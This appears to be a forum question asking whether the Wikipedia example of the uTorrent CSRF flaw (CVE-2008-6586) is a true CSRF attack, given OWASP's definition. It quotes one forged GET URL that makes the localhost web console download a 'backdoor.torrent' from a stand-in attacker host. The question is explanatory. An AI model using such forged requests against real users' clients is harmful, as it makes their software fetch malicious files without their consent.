A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed mission-critical actions to be executed as a matter of simple GET request:
Force a .torrent file download http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
uTorrent's web interface used GET request for critical state-changing operations (change credentials, download a file etc.)
As far as I know, "CSRF attacks target functionality that cause a state of the server."(OWASP). However, CSRF attack in the above example in Wikipedia doesn't change the state of the server at all. Just one uTorrent client can download a file from malicious site.
So is the example a true CSRF attack?